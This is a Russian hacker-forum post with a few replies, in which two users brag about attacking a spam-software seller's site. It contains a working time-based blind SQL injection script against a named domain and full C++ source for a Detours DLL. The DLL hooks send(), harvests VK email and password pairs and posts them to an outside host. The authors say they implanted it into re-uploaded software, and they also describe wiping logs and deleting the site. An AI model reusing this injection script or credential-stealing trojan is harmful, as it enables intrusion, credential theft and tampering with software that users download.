Сразу предупреждаю. К тем, кто зарегистрирован на античате позже 2010 года, просьба это не читать. Вы все равно ничего не поймете. Статья весьма необычная, учтите это. Тут и взлом, и немного реверсинга, и кодинг, и тонны кирпичей! Воспринимайте это как шутку, не гневитесь те, кого это задевает. Мы никому не желаем зла. Related-тема: https://forum.antichat.ru/thread289086.html. Является обязательной к прочтению, если вы ее еще не успели прочитать. Давным-давно, когда еще трава была зеленее, а солнце ярче, а борода у Егорыча была на 20 сантиметров короче, произошло непредвиденное, прескорбнейшее событие - отвратительный взлом Античата - форума, который был святой святых спецов по веб-безопасности, крутейших хекеров и просто хороших людей. Были слиты все данные, в том числе самых секретных и недоступных обывателю разделов - МоА, РоА и прочих сокровенных уголков, таивших столько знаний, которыми умные люди делились несколько поколений друг с другом. Весть о сием событии быстро разошлась и стала известна всем, как ее ни пытались скрыть. И вот самые лучшие, самые задроченные умы античата решили создать собственный форум, где будут сидеть они и только они, где они смогут организовать новое, нетронутое, девственное сообщество, в котором постепенно будут накапливаться новейшие знания по уязвимостям веб-движков и прочих пэхопэ-скриптов. Круг этих людей был узок, но они и были самой сладкой элитой античата, и вот они все перешли на свой собственный форум, который был наречен rdot в честь Красной Точки, а на античате их аккаунты были забанены навечно по их собственному желанию. С тех пор на этом форуме, на античате, царит уныние, потому что развиваются только быдлоразделы - покупка/продажа, спам по соцсетям, например. А ведь когда-то самые крутые уязвимости были впервые опубликованы именно здесь. Но, к сожалению, былого уже не вернуть... Хотя, несмотря на все эти обстоятельства, некоторые действительно опытные хакеры все-таки вернулись обратно, на Античат, зарегистрировав мультиакки либо же попросив разбанить их старые аккаунты. В то самое время, когда все описанные события имели место, не все юзеры перешли на новую сторону Красной Силы, некоторые остались, потому что попросту были не в курсе всего этого, а некоторые (те, кто особенно любил общаться), остались, потому что знали, что новый форум никогда не будет популярным. Не перешли туда и пользователи, о которых многие знают, - Kaimi, который реверсил и периодически ломал софт из раздела соцсетей, вгоняя в лютое бешенство его авторов и формальных покупателей, а также писал бесплатные скрипты на Perl, и dx , который вообще ничего платного в последние года 3 уже и не делал. Kaimi просто хотел быть в курсе последних событий АЙТИ, будь это взломы сайтов, программирование, SEO или что-то еще, а где еще, кроме как на Античате, можно было почерпнуть максимум информации? DX остался из любви помогать всяким кодерам по вопросам программирования, ну и иногда троллить нерадивых школьников. Kaimi, кстати, тоже не пренебрегает такого рода деятельностью, ведь это весело, это развеевает уныние! Эти два юзера, конечно же, были забанены по собственному желанию еще тогда, давно, как и многие другие, но они не ушли. Ничто не мешало зарегистрировать новые аккаунты и продолжать читать форум и общаться на нем. К сожалению, таких пользователей, как эти двое - любящих писать софт, причем бесплатно, ненавидящих спамеров, не пренебрегающих иногда развести какой-нибудь срач в любом разделе, действительно мало, и они достаточно часто палились, ведь на Античате еще остались юзеры, которые их помнили, но это их не останавливало. Kaimi втихую продолжал ломать софт, писать скрипты на перле и отписывать в соответствующих разделах, DX стал специализироваться на C++ и при этом достиг таких вершин троллинга, при которых юзера, выступившего против него, банили на этот же день за оскорбления и оффтоп. На недельку. Но, как вы уже догадались, они на этом не остановились. Они задумали такое, что должно было бы весь раздел соцсетей со всеми этими спамерами поставить на уши и как следует взбодрить, чтобы это еще долго помнили. Они понимали, что могут спалиться, но им было просто лень делать все максимально аккуратно, им просто хотелось веселья. Кроме этого, надо же было как-то совместить программирование софта, реверсинг, взлом сайта и троллинг? И они придумали, как. Одним из активнейших спамеров современности является, безусловно, djekxa, у которого еще куча всяких разных ников, который выводит тонны денег с вебманей и яндекса, который не умеет грамотно писать софт и настраивать хостинги и который работает в паре с еще одним пареньком, AquaKlaster"ом. Они и были выбраны целью для SUPER-троллинга. Буквально за неделю до событий этим двоим, Kaimi и dx'у, удалось сломать сайт вышеупомянутого паренька, так как движок, на котором он строился, некий Трактор Энджин, представлял из себя абсолютнейший быдлокод, дырявый и беспощадный. Вот, собственно, пример того самого кода, именно этот кусок был использован Kaimi и dx'ом, дабы получить MD5 пароля администратора: PHP: if (isset($_REQUEST['into'])) { $_REQUEST['pass'] = md5($_REQUEST['pass']); //Мегазащита! $rdb = mysql_query('SELECT * FROM '.PREFIX.'users where login = "'.$_REQUEST['login'].'" ORDER BY id') or die(mysql_error()); // Получаем результат в массив $data. $data=@mysql_fetch_array($rdb); if (($_REQUEST['login'] !== $data['login'] OR $_REQUEST['pass'] !== $data['password'])) { $ses = false; } elseif ($_REQUEST['login'] == $data['login'] && $_REQUEST['pass'] == $data['password'] && $data['status'] == "admin") { $ses = true; //Авторизация ГУТ $_SESSION['login'] = $data['login']; $_SESSION['pass'] = $data['password']; $_SESSION['name'] = $data['name']; $_SESSION['author_id'] = $data['id']; $_SESSION['status'] = $data['status']; $_SESSION['KCFINDER']['disabled'] = false; } } Непосредственно получение пароля было основано на слепом методе (хотя можно было и по-другому немного) из-за того, что после sql-запроса шли всякие дополнительные проверки (скрипт был по-быстрому написан dx'ом): PHP: <?php set_time_limit(0); require("websock.php"); $s = new websock('aquaklaster.ru', 80, false); $l = "1234567890abcdef"; print 'start<br>'; flush(); ob_flush(); for($k=0; $k<32; $k++) //перебор по символам MD5 { $f=0; for($m = 0, $len = strlen($l); $m < $len; $m++) //перебор допустимых символов MD5 { $t1 = time(); //запрос к одному из уязвимых скриптов $r = $s->post("/admin/index.php", "into=1&login=" . urlencode('sdfsdfsdf" or (id=1 and ord(substr(password,' . ($k+1) . ',1))=' . ord($l[$m]) . ' and sleep(4)=1) limit 1#')); $t2 = time(); if($t2-$t1 >= 2) //если запрос выполнялся долго, т.е., если сработал наш sleep() { print $l[$m]; //значит, мы подобрали очередную букву flush(); ob_flush(); $f=1; break; } } if(!$f) die('...axz...'); //неопределенная ошибка } ?> Класс websock, упрощающий работу с HTTP, взят отсюда. Был изучен контент сайта, слиты дампы, разумеется, всех баз и файлов, но они решили не афишировать это, а подумать, что же им делать дальше, - нельзя было упустить такую вкусную рыбку, когда она уже жарится на сковородке. Шелл, разумеется, был удален, а логи потерты. Через какое-то время Kaimi пришла идея - а почему бы не "допилить" софт Хеки таким образом, чтобы научить его отсылать аккаунты вконтакта, с которыми он работает, на его же собственный сайт, а потом об этом создать тему в разделе соцсетей, что, дескать, софт-то аккаунты ворует. Были взяты Detours, C++, написана библиотека, которая была добавлена в импорт предварительно распакованного софта djekx'и. Эта дллка перехватывала в софте функцию send, выцепляла оттуда аккаунты и по 10 штук пачками отсылала ему на сайт. Вот исходники, состоящие из адской смеси Си и Си++ (писалось на скорую руку, да и хвастаться-то особо не перед кем, эта дллка предназначалась не для всеобщих глаз): PHP: #include <WinSock2.h> #include <Windows.h> #include "detours.h" #include <iostream> #include <set> #include <sstream> #pragma comment(lib, "detours") #pragma comment(lib, "ws2_32") //софт хеки многопоточный, нам нужна критическая секция CRITICAL_SECTION vector_write; std::set<std::string> accounts; int (WINAPI *RealSend)(SOCKET s, const char *buf, int len, int flags) = send; int WINAPI MySend(SOCKET s, const char *buf, int len, int flags); static std::string implode(const char *sep, const std::set<std::string>& src); static std::string get_between_borders(const std::string& data, const std::string& head, const std::string& tail); void ExtractAndSend(const char *buf); ULONG Host2Ip(const char * host); void WINAPI SendRequest(const std::string& text); //сливает несколько строк в одну с указанным разделителем static std::string implode(const char *sep, const std::set<std::string>& src) { std::ostringstream output; std::set<std::string>::const_iterator src_iter; for (src_iter = src.begin(); src_iter != src.end(); src_iter++) output << *src_iter << sep; return output.str(); } //вернуть строку между указанным "заголовком" и "хвостом" static std::string get_between_borders(const std::string& data, const std::string& head, const std::string& tail) { std::string result; size_t head_pos, tail_pos; head_pos = data.find(head); if(head_pos != std::string::npos) { tail_pos = data.find(tail, head_pos + head.length()); if(tail_pos != std::string::npos) { result = data.substr(head_pos + head.length(), tail_pos - head_pos - head.length()); } } return result; } //наш хук функции send() int WINAPI MySend(SOCKET s, const char *buf, int len, int flags) { ExtractAndSend(buf); return RealSend(s, buf, len, flags); } //отправляем акки на сайт Хеки void ExtractAndSend(const char *buf) { std::string credentials; std::string request_data (buf); credentials = get_between_borders(request_data, "&email=", "&") + ":" + get_between_borders(request_data, "&pass=", "&"); EnterCriticalSection(&vector_write); if(credentials.size() > 1) { accounts.insert(credentials); } if(accounts.size() >= 10) { SendRequest(implode("|", accounts)); accounts.clear(); } LeaveCriticalSection(&vector_write); } ULONG Host2Ip(const char * host) { struct hostent * p; return (p = gethostbyname(host)) ? *(ULONG*)(p->h_addr) : INADDR_NONE; } //функция отправки - позаимствовано с какого-то сорса Slesh'а void WINAPI SendRequest(const std::string& text) { ULONG ip; SOCKADDR_IN addr; SOCKET MainSocket = SOCKET_ERROR; char buf[4096], tmp[4096]; ip = Host2Ip("aquaklaster.ru"); if (ip != INADDR_NONE) { MainSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (MainSocket != SOCKET_ERROR) { addr.sin_addr.S_un.S_addr = ip; addr.sin_port = htons(80); addr.sin_family = AF_INET; if (!connect(MainSocket, (SOCKADDR*)&addr, sizeof(SOCKADDR_IN))) { wsprintfA(tmp, "accounts=%s", text.c_str()); wsprintfA(buf, "POST /api.php HTTP/1.0\r\n" "Host: aquaklaster.ru\r\n" "User-Agent: Firefox/3.0\r\n" "Connection: close\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %u\r\n\r\n", lstrlenA(tmp)); RealSend(MainSocket, buf, lstrlenA(buf), 0); RealSend(MainSocket, tmp, lstrlenA(tmp), 0); closesocket(MainSocket); } } } } //Точка входа в нашу дллку BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved) { if(dwReason == DLL_PROCESS_ATTACH) { InitializeCriticalSection(&vector_write); DetourRestoreAfterWith(); DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourAttach(&(PVOID&)RealSend, MySend); DetourTransactionCommit(); } else if(dwReason == DLL_PROCESS_DETACH) { DeleteCriticalSection(&vector_write); DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourDetach(&(PVOID&)RealSend, MySend); DetourTransactionCommit(); } return TRUE; } //пустой экспорт, дабы студия собрала нормальную дллку extern "C" __declspec(dllexport) void __cdecl Alpha(void) {}; Склейка с софтинами производилась с помощью molebox"а, палится, да и пофиг. Модифицировано и перезалито на сайт было примерно 7 программ. И стоило бы им подождать буквально пару деньков, djekxa вряд ли бы что-то заметил (даты файлов были изменены, все как надо). Но, вы же знаете, Kaimi и dx нетерпеливые ребята, и буквально через пару часов левым аккаунтом была создана вопиющая тема (ссылка на нее - в начале статьи) о том, что софт ворует аккаунты, а софт-то не простого кодера, а вон какого популярного среди всяких спамеров. Сразу посыпались сообщения с разочарованиями, но постепенно все выяснялось, Kaimi с dx'ом понемногу палились (а как иначе? главное, чтобы было весело). Поэтому дальше шла чистейшей воды импровизация. Последним шагом было в удачный момент полностью стереть сайт Хеки и Аквакластер'а и сказать, что они заметают следы (Апач с очень кривыми правами, спасибо, мы поржали). Но, разумеется, в итоге все выяснилось, в частности, благодаря серьезной помощи M_Script"а, а ещё мелким косякам в реализации - надо было тщательнее скриншот проверять, шифровать содержимое контейнера с софтом, сжать его или дописать отправку непосредственно в код на асме и заручиться поддержкой нескольких людей, но мы же ленивые, а резонанс в теме уже пошел. (Хека бы сам ни за что не догадался, кто это сделал и как, и пошел бы разбираться со своими школьными врагами по району). Разумеется, в итоге люди даже стали подозревать, чьих это рук дело, потому что вообще мало кто способен был такое организовать из юзеров античата. Поэтому мы и решили рассказать. Надеемся, что вам тоже было весело. Теперь Kaimi решил вернуться на форум уже своим основным аккаунтом, а dx... dx еще не знает, что делать, поэтому его аккаунт пока что пребывает в бане. Конечно, подобные деяния, наверное, по мнению модераторов раздела соцсетей, должны караться банами и прочими неприятными вещами, но вы сами подумайте, это же спамеры, они сами по себе занимаются нелегальщиной и мошенничеством, а мы лишь преподали небольшой урок, который, вероятно, даже пойдет им на пользу. Так что без обид, djekxa, латай дыры и поменьше выпендривайся. M_Script как всегда молодец, без него бы пользователи еще долго страдали и думали, "А кто же это сдеееееелал?!!". Он вроде как в последнее время отошел от темы спама и написания такого софта, нас это радует. Все спамеры и софтописатели спам-софта - бойтесь, ведь никто из вас не знает, кто будет следующим и что мы придумаем в другой раз! Шутка Всем спасибо и удачи. И да простит нас администрация за мультиакки, мы же ничего плохого не сделали, никого не разводили, а просто общались. Мы сделали Античат как минимум на 20% веселей и круче!
Ну вот моя гипотеза и подтвердилась Kaimi, только поясни юзверям о том, что забанился ты совсем по другой теме (Я про дело с Пухом) ***ща остальное допишу, мне скрипт позвонил и сказал что вышло твое "откровение", а вай фай гамно, давно хотел задать пару публичных вопросах о "хомячках" и "тру понятиях"
офигенно, 10 балов С djekxa'ой постоянно работаю, поэтому интересно почитать было, на мой взгляд вполне порядочный человек и самое главное ответственный.
Вот зачем вы так пасаны? под канец каникул всех школьников с раздела Соц.Сети чуть в кардиологию не отравили.У них сердце стало все 9 месяцев в школе экономили на обедах что бы летом купить софт у djekxa,а тут такой наебос!! Еще и тайна кривого кода рассказана ,это трагедия,модеры Соц.сетей ждите кучу слез и прочей хероты.Аминь